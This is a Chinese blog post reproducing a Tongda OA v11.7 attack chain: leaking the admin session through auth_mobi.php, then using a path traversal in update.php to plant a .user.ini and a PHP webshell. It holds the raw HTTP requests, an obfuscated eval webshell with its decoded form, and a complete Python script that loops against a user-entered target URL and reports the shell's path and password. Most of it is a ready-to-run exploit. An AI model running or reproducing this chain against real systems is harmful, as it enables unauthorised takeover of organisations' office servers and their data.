通达OAv11.7在线用户登录联动任意文件上传漏洞


该漏洞是出现在通达OA系统的一个综合漏洞,适用于11.7版本及以下的通达OA系统,分为在线用户登录文件上传利用两部分

首先下载通达OA,这里以11.6版本的为例,下载后发现php文件全部被Zend加密,于是用SeayDZend解密,接着进入漏洞复现环节


在线用户登录

在MYOA\webroot\mobile路径下的auth_mobi.php我们可以看到

……
function relogin()
{
	echo _("RELOGIN");
	exit();
}
……
if (($isAvatar == "1") && ($uid != "") && ($P_VER != "")) {
	$sql = "SELECT SID FROM user_online WHERE UID = '$uid' and CLIENT = '$P_VER'";
	$cursor = exequery(TD::conn(), $sql);

	if ($row = mysql_fetch_array($cursor)) {
		$P = $row["SID"];
	}
}
if ($P == "") {
	$P = $_COOKIE["PHPSESSID"];

	if ($P == "") {
		relogin();
		exit();
	}
}
……
if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
	relogin();
}

从MYOA\webroot\inc\db_dict.inc.php中我们可以看到

$DB_DICT_FIELD_ARRAY["USER_ONLINE"] = array("UID" => "在线人员UID", "TIME" => "上次更新时间", "SID" => "在线人员Session ID", "CLIENT" => "客户端登录设备类型(0-浏览器,1-手机浏览器,2-OA精灵,5-iPhone,6-Android)");

即user_online是一个数据库表,$sql语句的作用是在user_online的表单中查询在线人员UID为$uid参数,客户端登录设备类型为$P_VER参数的在线人员session ID值

而如果在线人员Session ID为空且相应PHPSESSID的cookie键为空,或LOGIN_USER_ID与LOGIN_UID至少一个SESSION键为空,则执行relogin()函数,在页面上显示RELOGIN

所以当我们带着isAvatar参数为1,P_VER参数为0访问url/mobile/auth_mobi.php?isAvatar=1&uid=*&P_VER=0,可以得到对应uid账户的在线情况与session值

而通达OA的admin账户UID为1,故当我们访问url/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0时,如果显示RELOGIN,代表admin账户离线

如果显示为空,代表admin账户在线

此时查询请求响应中的Set-Cookie参数,其中的PHPSESSID即为admin账户的Session ID

在发送POST请求时将该Session ID以PHPSESSID形式携带即可实现admin用户登录


文件上传利用

只是登入admin账户对我们还不够,我们要实现文件上传利用,由于通达OA对上传文件限制比较严格,因此我们考虑通过上传.user.ini文件实现php包含木马

.user.ini文件是一个可以用户可以自定义的php配置文件,可以实现动态加载,即上传后自动间隔一定时间(可设置)会被执行。

而php配置中auto_append_file、auto_prepend_file这两个项可以被我们利用,前者表示文件后包含,即让执行目录到根目录的所有php文件后都包含指定文件,而后者表示文件前包含

因此,我们的大致思路是上传一个auto_append_file=木马文件的.user.ini,然后访问受控的任意一个php页面,实现木马文件上传

观察得MYOA\nginx\conf\nginx.conf中

location /attachment {
            deny all;
        }

得知正常情况下,文件被上传到MYOA\webroot\attachment,但该目录下没有php文件,即使上传.user.ini配置文件也无法被执行

但通过观察MYOA\webroot\general\hr\manage\staff_info\update.php

……
$PHOTO_NAME0 = $_FILES["ATTACHMENT"]["name"];
$ATTACHMENT = $_FILES["ATTACHMENT"]["tmp_name"];

if ($PHOTO_NAME0 != "") {
	$FULL_PATH = MYOA_ATTACH_PATH . "hrms_pic";

	if (!file_exists($FULL_PATH)) {
		@mkdir($FULL_PATH, 448);
	}

	$PHOTO_NAME = $USER_ID . substr($PHOTO_NAME0, strrpos($PHOTO_NAME0, "."));
	$FILENAME = MYOA_ATTACH_PATH . "hrms_pic/" . $PHOTO_NAME;
	td_copy($ATTACHMENT, $FILENAME);

	if (file_exists($ATTACHMENT)) {
		unlink($ATTACHMENT);
	}

	if (!file_exists($FILENAME)) {
		Message(_("附件上传失败"), _("原因:附件文件为空或文件名太长,或附件大于30兆字节,或文件路径不存在!"));
		Button_Back();
		exit();
	}
}
……

我们发现$USER_ID没有被过滤就直接被拼接进了文件名$FILENAME变量中,同时,文件名$FILENAME的后缀名取自上传文件的后缀名,因此我们可以利用相对路径构造$USER_ID为../../其它路径,实现上传路径的更改

在11.7以上版本中,对上传路径又增加了限制

function td_path_valid($source, $func_name)
{
    $source_arr = pathinfo($source);
    $source = realpath($source_arr["dirname"]);
    $basename = strtolower($source_arr["basename"]);
    if ($source === false) {
        return false;
    }
    if ($func_name == "td_fopen") {
        $whitelist = "qqwry.dat,tech.dat,tech_cloud.dat,tech_neucloud.dat,";
        if ((strpos($source, "webroot\inc") !== false) && find_id($whitelist, $basename)) {
            return true;
        }
    }
    if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)) {
        return false;
    }
    else {
        return true;
    }
}

要求上传路径如果包含webroot,必须包含attachment,稳妥起见,我们将新的上传路径设在MYOA\webroot\general\reportshop\workshop\report\attachment-remark

发送如下POST请求

POST /general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/.user HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------17518323986548992951984057104
Content-Length: 365
Connection: close
Cookie: PHPSESSID=(待填);
Upgrade-Insecure-Requests: 1

-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="ATTACHMENT"; filename="ace.ini"
Content-Type: text/plain

auto_prepend_file=ace.log
-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="submit"

提交
-----------------------------17518323986548992951984057104--

即将配置为auto_prepend_file=ace.log的.user.ini文件上传到/general/reportshop/workshop/report/attachment-remark目录下

然后再发送POST请求

POST /general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/ace HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------17518323986548992951984057104
Content-Length: 365
Connection: close
Cookie: PHPSESSID=(待填);
Upgrade-Insecure-Requests: 1

-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="ATTACHMENT"; filename="ace.log"
Content-Type: text/plain

<?php 
echo "Hacked by C26H52♠";
$aCe=create_function(base64_decode('JA==').chr(114195/993).str_rot13('b').str_rot13('z').chr(708-607),chr(0xc60e/0x1f6).base64_decode('dg==').str_rot13('n').chr(390-282).chr(0x1ae-0x186).chr(0x3ac-0x388).chr(0xd561/0x1db).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ==').str_rot13(')').chr(798-739));
$aCe(base64_decode('OTM2N'.'DM3O0'.'BldkF'.'sKCRf'.''.str_rot13('H').str_rot13('R').chr(41382/726).str_rot13('G').base64_decode('Vg==').''.''.base64_decode('Rg==').str_rot13('g').str_rot13('D').base64_decode('Wg==').chr(23751/273).''.'lRaV0'.'pOzI4'.'MDkzM'.'TE7'.''));?>
-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="submit"

提交
-----------------------------17518323986548992951984057104--

将ace.log上传至/general/reportshop/workshop/report/attachment-remark/目录下,其中ace.log的内容为

<?php 
echo "Hacked by C26H52♠";
$aCe=create_function($some,eval($some););
$aCe("936437;@evAl($_POST[PeiQi]);2809311;")?>

(create_function已在新版php中被弃用)

至此,再访问同目录下的/general/reportshop/workshop/report/attachment-remark/form.inc.php,即实现一句话木马上传,之后使用蚁剑连接即可

附上payload:

import requests
import sys
import re
import base64
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning


def login_admin(url):
    test_url = url + "/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=test_url, headers=headers, verify=False, timeout=5)
        if "RELOGIN" in response.text and response.status_code == 200:
            print("\033[31m[x] 目标用户为下线状态 --- {}\033[0m".format(time.asctime( time.localtime(time.time()))))
        elif response.status_code == 200 and response.text == "":
            Cookie = re.findall(r'PHPSESSID=(.*?);', str(response.headers))
            print("\033[32m[o] 用户上线 PHPSESSION: {} --- {}\033[0m".format(Cookie[0] ,time.asctime(time.localtime(time.time()))))
            Cookie = "PHPSESSID={};USER_NAME_COOKIE=admin; OA_USER_ID=admin".format(Cookie[0])
            upload_ini(url, Cookie)
        else:
            print("\033[31m[x] 请求失败,目标可能不存在漏洞")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

def upload_ini(url, Cookie):
    upload_url = url + "/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/.user"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "multipart/form-data; boundary=---------------------------17518323986548992951984057104",
        "Connection": "close",
        "Cookie": Cookie,
        "Upgrade-Insecure-Requests": "1",
    }
    data = base64.b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0icGVpcWkuaW5pIgpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4KCmF1dG9fcHJlcGVuZF9maWxlPXBlaXFpLmxvZwotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ic3VibWl0IgoK5o+Q5LqkCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTc1MTgzMjM5ODY1NDg5OTI5NTE5ODQwNTcxMDQtLQ==")
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=upload_url, data=data, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/.user \033[0m".format(url))
        if "档案已保存" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {} 成功上传.user.ini文件, \033[0m".format(url))
            upload_log(url, Cookie)
        else:
            print("\033[31m[x] 目标 {} 上传.user.ini文件失败\033[0m".format(url))
            sys.exit(0)

    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

def upload_log(url, Cookie):
    upload_url = url + "/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/peiqi"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "multipart/form-data; boundary=---------------------------17518323986548992951984057104",
        "Connection": "close",
        "Cookie":  Cookie,
        "Upgrade-Insecure-Requests": "1",
    }
    data = base64.b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0icGVpcWkubG9nIgpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4KCjw/cGhwIAplY2hvICJQZWlRaV9XaWtpIjsKJGZPZ1Q9Y3JlYXRlX2Z1bmN0aW9uKGJhc2U2NF9kZWNvZGUoJ0pBPT0nKS5jaHIoMTE0MTk1Lzk5Mykuc3RyX3JvdDEzKCdiJykuc3RyX3JvdDEzKCd6JykuY2hyKDcwOC02MDcpLGNocigweGM2MGUvMHgxZjYpLmJhc2U2NF9kZWNvZGUoJ2RnPT0nKS5zdHJfcm90MTMoJ24nKS5jaHIoMzkwLTI4MikuY2hyKDB4MWFlLTB4MTg2KS5jaHIoMHgzYWMtMHgzODgpLmNocigweGQ1NjEvMHgxZGIpLmJhc2U2NF9kZWNvZGUoJ2J3PT0nKS5iYXNlNjRfZGVjb2RlKCdiUT09JykuYmFzZTY0X2RlY29kZSgnWlE9PScpLnN0cl9yb3QxMygnKScpLmNocig3OTgtNzM5KSk7JGZPZ1QoYmFzZTY0X2RlY29kZSgnT1RNMk4nLidETTNPMCcuJ0JsZGtGJy4nc0tDUmYnLicnLnN0cl9yb3QxMygnSCcpLnN0cl9yb3QxMygnUicpLmNocig0MTM4Mi83MjYpLnN0cl9yb3QxMygnRycpLmJhc2U2NF9kZWNvZGUoJ1ZnPT0nKS4nJy4nJy5iYXNlNjRfZGVjb2RlKCdSZz09Jykuc3RyX3JvdDEzKCdnJykuc3RyX3JvdDEzKCdEJykuYmFzZTY0X2RlY29kZSgnV2c9PScpLmNocigyMzc1MS8yNzMpLicnLidsUmFWMCcuJ3BPekk0Jy4nTURrek0nLidURTcnLicnKSk7Pz4KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InN1Ym1pdCIKCuaPkOS6pAotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0LS0K")
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=upload_url, data=data, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/peiqi \033[0m".format(url))
        if "档案已保存" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {} 成功上传 peiqi.log 文件, \033[0m".format(url))
            hack(url, Cookie)
        else:
            print("\033[31m[x] 目标 {} 上传 peiqi.log 文件失败\033[0m".format(url))
            sys.exit(0)

    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

def hack(url, Cookie):
    hack_url = url + "/general/reportshop/workshop/report/attachment-remark/form.inc.php?"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Cookie":  Cookie,
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=hack_url, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在请求 {}/general/reportshop/workshop/report/attachment-remark/form.inc.php? \033[0m".format(url))
        if "PeiQi_Wiki" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {} 存在漏洞,响应中包含 PeiQi_Wiki \033[0m".format(url))
            print("\033[32m[o] 成功上传蚁剑木马 密码为: PeiQi \n[o] webshell路径: {}/general/reportshop/workshop/report/attachment-remark/form.inc.php?\033[0m".format(url))
            sys.exit(0)
        else:
            print("\033[31m[x] 目标 {} 不存在漏洞,响应中不包含 PeiQi_Wiki\033[0m".format(url))
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
    url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    while True:
        login_admin(url)
        time.sleep(5)

PS.在payload的POST请求中禁用了SSL/TLS证书验证,因为向目标网站发送的是不安全的请求


参考

PeiQi-WIKI-Book/docs/wiki/oa/通达OA/通达OA v11.7 auth_mobi.php 在线用户登录漏洞.md at main · PeiQi0/PeiQi-WIKI-Book (github.com)

PeiQi-WIKI-Book/docs/wiki/oa/通达OA/通达OA v11.8 update.php 后台文件包含命令执行漏洞.md at main · PeiQi0/PeiQi-WIKI-Book (github.com)

通达 OA 代码审计篇二 :11.8 后台 Getshell (seebug.org)


文章作者: C26H52
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 C26H52 !
  目录